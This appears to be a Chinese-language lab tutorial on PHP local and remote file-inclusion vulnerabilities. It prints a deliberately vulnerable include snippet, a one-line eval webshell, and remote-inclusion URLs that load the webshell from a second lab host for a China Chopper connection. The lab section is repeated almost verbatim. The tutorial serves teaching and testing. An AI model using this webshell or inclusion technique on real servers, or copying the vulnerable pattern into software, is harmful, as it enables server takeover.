一、文件包含漏洞的原理
服務器解析執行php文件時能夠通過包含函數加載另外一個文件中的php代碼,當被包含的文件中存在木馬時,也就意味着木馬程序會在服務器上加載執行。下面介紹php的四種文件包含函數。
| require() | 只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,並停止腳本 |
| include() |
執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行
|
|
include_once()
|
若文件中代碼已被包含則不會再次包含 |
|
require_once()
|
若文件中代碼已被包含則不會再次包含
|
現在給出一段代碼,如果這段代碼出現在服務器上的某個php文件中(這個php文件能被訪問),很有可能會產生文件包含漏洞。
<?php $filename = $_GET['filepath']; include($filename); ?>
文件包含漏洞包括本地文件包含漏洞和遠程文件包含漏洞,顧名思義,本地文件包含漏洞指的是包含本地的php文件,遠程文件包含漏洞包含的是其它服務器上的php文件。廢話不多說,讓我們來實驗一下文件包含漏洞。
二、文件包含漏洞的利用
(1)實驗環境
(a)一台windows虛擬機(192.168.227.139)上安裝有phpstudy,並對參數進行如下設置:

(b)准備漏洞php程序fileinclude.php:
1:fileinclude-- </br>
<?php
$filename = $_GET['filepath'];
include($filename);
?>
准備一句話木馬程序muam.txt、muma.php:
2:muma--txt
<?php @eval($_POST['tp']); ?>
(c)准備一台安裝有IIS的服務器(192.168.227.147),並將muam.txt、muma.php木馬放入網站目錄下:

將php漏洞程序fileinclude.php放到windows虛擬機(192.168.227.139)的站點目錄下

(d)對IIS進行如下設置(非必須):
復現IIS目錄遍歷漏洞


對Apache進行如下設置(非必須)
修改l.php文件名或者將其刪除,復現Apache目錄遍歷漏洞:

(2)測試IIS服務器和Apache服務器
IIS環境正常:

Apache環境正常:

(3)遠程包含漏洞包含一句話木馬——muma.php
在瀏覽器中輸入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php

使用中國菜刀連接:

連接成功

(4)遠程包含漏洞包含一句話木馬——muma.txt
在瀏覽器中輸入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt

使用中國菜刀連接:

連接成功:

2020-03-08
這是手工搭建環境復現文件包含漏洞,下一篇介紹web for pentester系統實驗文件包含漏洞測試
(1)實驗環境
(a)一台windows虛擬機(192.168.227.139)上安裝有phpstudy,並對參數進行如下設置:
(b)准備漏洞php程序fileinclude.php:
1:fileinclude-- </br>
<?php
$filename = $_GET['filepath'];
include($filename);
?>
准備一句話木馬程序muam.txt、muma.php:
2:muma--txt
<?php @eval($_POST['tp']); ?>
(c)准備一台安裝有IIS的服務器(192.168.227.147),並將muam.txt、muma.php木馬放入網站目錄下:
將php漏洞程序fileinclude.php放到windows虛擬機(192.168.227.139)的站點目錄下:
(d)對IIS進行如下設置(非必須):
復現IIS目錄遍歷漏洞
對Apache進行如下設置(非必須)
修改l.php文件名或者將其刪除,復現Apache目錄遍歷漏洞:
(2)測試IIS服務器和Apache服務器
IIS環境正常:
Apache環境正常:
(3)遠程包含漏洞包含一句話木馬——muma.php
在瀏覽器中輸入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php
使用中國菜刀連接:
連接成功
(4)遠程包含漏洞包含一句話木馬——muma.txt
在瀏覽器中輸入url:
http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt
使用中國菜刀連接:
連接成功:

